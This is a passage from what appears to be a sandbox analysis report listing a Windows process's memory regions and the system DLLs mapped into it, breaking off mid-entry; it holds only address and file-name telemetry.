"c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3318 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3319 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3320 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3321 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3888 start_va = 0x1f50000 end_va = 0x2b15fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3900 start_va = 0x71ee0000 end_va = 0x71f11fff monitored = 0 entry_point = 0x71ee37f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 3901 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3902 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3903 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3904 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3905 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3906 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3907 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3912 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3913 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3914 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3915 start_va = 0x690000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 3916 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3917 start_va = 0x7d0000 end_va = 0x957fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3923 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3924 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3925 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3926 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3927 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3928 start_va = 0x150000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3929 start_va = 0x960000 end_va = 0xae0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 3930 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3931 start_va = 0x75960000 end_va = 0x75994fff monitored = 0 entry_point = 0x7596145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3932 start_va = 0x76960000 end_va = 0x76965fff monitored = 0 entry_point = 0x76961782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3933 start_va = 0x210000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3934 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3935 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3936 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 3937 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3938 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3939 start_va = 0x71d50000 end_va = 0x71edffff monitored = 0 entry_point = 0x71ded026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 3940 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3941 start_va = 0x74830000 end_va = 0x7484bfff monitored = 0 entry_point = 0x7483a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 3942 start_va = 0x74820000 end_va = 0x74826fff monitored = 0 entry_point = 0x7482128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 3943 start_va = 0x73900000 end_va = 0x73904fff monitored = 0 entry_point = 0x739010f6 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 3944 start_va = 0x71cf0000 end_va = 0x71d47fff monitored = 0 entry_point = 0x71cf13b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 3945 start_va = 0x71ca0000 end_va = 0x71ceefff monitored = 0 entry_point = 0x71ca1452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 3946 start_va = 0x74ab0000 end_va = 0x74bd0fff monitored = 0 entry_point = 0x74ab158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3947 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3948 start_va = 0x74920000 end_va = 0x74927fff monitored = 0 entry_point = 0x749210e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3949 start_va = 0x759d0000 end_va = 0x75b6cfff monitored = 0 entry_point = 0x759d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 3950 start_va = 0x758a0000 end_va = 0x758c6fff monitored = 0 entry_point = 0x758a58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 3951 start_va = 0x75b70000 end_va = 0x75b81fff monitored = 0 entry_point = 0x75b71441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 3952 start_va = 0xe0000 end_va = 0xecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 3953 start_va = 0x71c40000 end_va = 0x71c90fff monitored = 0 entry_point = 0x71c6988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 3954 start_va = 0xaf0000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3955 start_va = 0x370000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3956 start_va = 0x440000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3959 start_va = 0x6b0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 3960 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 3961 start_va = 0xb10000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 3962 start_va = 0xc90000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 3963 start_va = 0xfffd8000 end_va = 0xfffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 3964 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3965 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3966 start_va = 0x748a0000 end_va = 0x748c0fff monitored = 0 entry_point = 0x748a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 3967 start_va = 0x75b90000 end_va = 0x75bd4fff monitored = 0 entry_point = 0x75b911e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 3968 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3969 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 3970 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 3971 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3972 start_va = 0xfffd5000 end_va = 0xfffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 3973 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 3974 start_va = 0x230000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3975 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3976 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 3977 start_va = 0x71bc0000 end_va = 0x71c35fff monitored = 0 entry_point = 0x71bc760e region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\SysWOW64\\FirewallAPI.dll" (normalized: "c:\\windows\\syswow64\\firewallapi.dll") Region: id = 3978 start_va = 0x733a0000 end_va = 0x733a8fff monitored = 0 entry_point = 0x733a1220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3979 start_va = 0x1f50000 end_va = 0x221efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3980 start_va = 0x520000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3981 start_va = 0x2340000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3982 start_va = 0xfffad000 end_va = 0xfffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 3983 start_va = 0x6f0000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 3984 start_va = 0x2220000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 3985 start_va = 0xfffaa000 end_va = 0xfffacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 3986 start_va = 0x730000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3987 start_va = 0x2440000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 3988 start_va = 0x2620000 end_va = 0x271ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 3989 start_va = 0xfffa7000 end_va = 0xfffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 3990 start_va = 0xf00000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 3991 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 3992 start_va = 0x2980000 end_va = 0x2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 3993 start_va = 0xfffa4000 end_va = 0xfffa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 3994 start_va = 0x370000 end_va = 0x375fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 3995 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3996 start_va = 0x738e0000 end_va = 0x738f6fff monitored = 0 entry_point = 0x738e3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3997 start_va = 0x3c0000 end_va = 0x3fbfff monitored = 0 entry_point = 0x3c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3998 start_va = 0x3c0000 end_va = 0x3fbfff monitored = 0 entry_point = 0x3c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3999 start_va = 0x3c0000 end_va = 0x3fbfff monitored = 0 entry_point = 0x3c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4000 start_va = 0x3c0000 end_va = 0x3fbfff monitored = 0 entry_point = 0x3c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4001 start_va = 0x3c0000 end_va = 0x3fbfff monitored = 0 entry_point = 0x3c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4002 start_va = 0x738a0000 end_va = 0x738dafff monitored = 0 entry_point = 0x738a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4003 start_va = 0x749b0000 end_va = 0x749c0fff monitored = 0 entry_point = 0x749b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4004 start_va = 0x749a0000 end_va = 0x749a8fff monitored = 0 entry_point = 0x749a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4005 start_va = 0x74980000 end_va = 0x74998fff monitored = 0 entry_point = 0x74981319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4006 start_va = 0x74970000 end_va = 0x7497efff monitored = 0 entry_point = 0x749712a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4434 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 4435 start_va = 0x380000 end_va = 0x393fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 4436 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4437 start_va = 0x2e90000 end_va = 0x329ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e90000" filename = "" Region: id = 4438 start_va = 0x3c0000 end_va = 0x3defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 4439 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4440 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4441 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4442 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4443 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4444 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4445 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4446 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4447 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4448 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4449 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4450 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4451 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4452 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4453 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4454 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4455 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4456 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4457 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4458 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4459 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4460 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4461 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4462 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4463 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4464 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4465 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4466 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4467 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4468 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4469 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4470 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4471 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4472 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4473 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4474 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4475 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4476 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4477 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4478 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4479 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4480 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4481 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4482 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4483 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4484 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 